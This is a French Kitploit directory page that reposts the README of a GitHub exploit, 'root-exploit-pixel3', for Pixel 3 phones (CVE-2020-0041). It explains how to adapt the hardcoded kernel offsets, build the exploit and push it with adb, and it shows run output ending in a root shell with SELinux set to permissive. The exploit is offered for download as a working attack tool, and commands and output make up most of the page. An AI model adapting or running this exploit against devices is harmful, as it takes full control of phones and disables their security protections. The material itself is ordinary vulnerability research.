Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
root-exploit-pixel3 — Exploit d'élévation de privilèges locaux pour Pixel 3 (CVE-2020-0041) qui désactive SELinux et génère un shell root via corruption de la mémoire du noyau et adaptation des décalages. | Kitploit
Outils/GitHubGitHub/jcalabres/root-exploit-pixel3
Sécurité AndroidEscalade de PrivilègesAnalyse des VulnérabilitésExploitationRétro-ingénierieTests d'IntrusionExploitation de Binaires
GitHub

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
jcalabres/root-exploit-pixel3

root-exploit-pixel3

Exploit d'élévation de privilèges locaux pour Pixel 3 (CVE-2020-0041) qui désactive SELinux et génère un shell root via corruption de la mémoire du noyau et adaptation des décalages.

Voir le dépôt
13510il y a 3 ansPas encore vérifié

Exploitation root pour la famille Pixel 3

Ce dossier contient un exploit d'escalade de privilèges locaux, une modification du PoC de bluefrostsecurity pour CVE-2020-0041. L'exploit désactive SELinux puis lance un shell root.

  • L'exploit a été fourni avec des offsets codés en dur pour un appareil Pixel 3 exécutant le firmware de février 2020 (QQ1A.200205.002). L'exploit peut être adapté pour tout appareil Pixel 3 en suivant simplement les étapes ci-dessous.

  • Quelques modifications ont été apportées pour éviter les limitations de l'utilisateur root (l'exploit original n'est pas utilisable).

Adapter l'exploit

  1. Pour adapter l'exploit à tout appareil Pixel 3, le firmware vulnérable spécifique (QQ1A.200205.002) doit être téléchargé depuis le site officiel developer android images.

  2. Ensuite, convertissez le boot.img en zImage. Pour ce faire, utilisez abootimg.

./abootimg -x [path_to_boot_img]

Le zImage produit est une image qui contient le noyau Android compressé.

  1. Pour obtenir une image non compressée du noyau qui contient les symboles et offsets corrects, utilisez l'outil vmlinux-to-elf.
vmlinux-to-elf [path_to_zImage] [kernel.elf] 
  1. Utilisez un désassembleur de votre choix pour trouver les étiquettes liées aux offsets de l'exploit trouvés dans exploit.c :
SELINUX_ENFORCING_OFFSET 
MEMSTART_ADDR_OFFSET 
SYSCTL_TABLE_ROOT_OFFSET
PROC_DOUINTVEC_OFFSET
INIT_TASK_OFFSET
INIT_CRED_OFFSET
OFFSET_PIPE_FOP
  1. Alignez exploit.c avec les offsets corrects.

  2. Profitez-en :)

Tester l'exploit

L'exploit peut être construit en exécutant simplement « make » avec le NDK Android dans le chemin (vous pouvez également prendre le binaire poc depuis le chemin libs/arm64-v8a). Il peut également être poussé vers un téléphone connecté via adb en faisant « make all push » (les avertissements sont supprimés par souci de concision) :

user@laptop:~/CVE-2020-0041/lpe$ make all push
Building Android
NDK_PROJECT_PATH=. ndk-build NDK_APPLICATION_MK=./Application.mk
make[1]: Entering directory `/home/user/CVE-2020-0041/lpe'
[arm64-v8a] Compile        : poc <= exploit.c
[arm64-v8a] Compile        : poc <= endpoint.c
[arm64-v8a] Compile        : poc <= pending_node.c
[arm64-v8a] Compile        : poc <= binder.c
[arm64-v8a] Compile        : poc <= log.c
[arm64-v8a] Compile        : poc <= helpers.c
[arm64-v8a] Compile        : poc <= binder_lookup.c
[arm64-v8a] Compile        : poc <= realloc.c
[arm64-v8a] Compile        : poc <= node.c
[arm64-v8a] Executable     : poc
[arm64-v8a] Install        : poc => libs/arm64-v8a/poc
make[1]: Leaving directory `/home/user/CVE-2020-0041/lpe'
adb push libs/arm64-v8a/poc /data/local/tmp/poc
libs/arm64-v8a/poc: 1 file pushed. 4.3 MB/s (39016 bytes in 0.009s)

Il suffit maintenant d'exécuter /data/local/tmp/poc depuis un shell adb pour voir l'exploit s'exécuter :

blueline:/ $ /data/local/tmp/poc
[+] Mapped 200000
[+] selinux_enforcing before exploit: 1
[+] pipe file: 0xffffffd9c67c7700
[*] file epitem at ffffffda545d7d00
[*] Reallocating content of 'write8_inode' with controlled data.[DONE]
[+] Overwriting 0xffffffd9c67c7720 with 0xffffffda545d7d50...[DONE]
[*] Write done, should have arbitrary read now.
[+] file operations: ffffff97df1af650
[+] kernel base: ffffff97dd280000
[*] Reallocating content of 'write8_selinux' with controlled data.[DONE]
[+] Overwriting 0xffffff97dfe24000 with 0x0...[DONE]
[*] init_cred: ffffff97dfc300a0
[+] memstart_addr: 0xffffffe700000000
[+] First level entry: ceac5003 -> next table at ffffffd9ceac5000
[+] Second level entry: f173c003 -> next table at ffffffd9f173c000
[+] sysctl_table_root = ffffff97dfc5a3f8
[*] Reallocating content of 'write8_sysctl' with controlled data.[DONE]
[+] Overwriting 0xffffffda6da8d868 with 0xffffffda49ced000...[DONE]
[+] Injected sysctl node!
[*] Node write8_inode, pid 7058, kaddr ffffffda0723f900
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_selinux, pid 6848, kaddr ffffffd9c9fa2400
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Node write8_sysctl, pid 7110, kaddr ffffffda67e7d180
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[*] Replaced sendmmsg dangling reference
[+] Cleaned up sendmsg threads
[*] epitem.next = ffffffd9c67c7720
[*] epitem.prev = ffffffd9c67c77d8
^[[*] Launching privileged shell
root_by_cve-2020-0041:/ # id   
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
root_by_cve-2020-0041:/ # getenforce
Permissive
root_by_cve-2020-0041:/ # 
Télécharger l’outil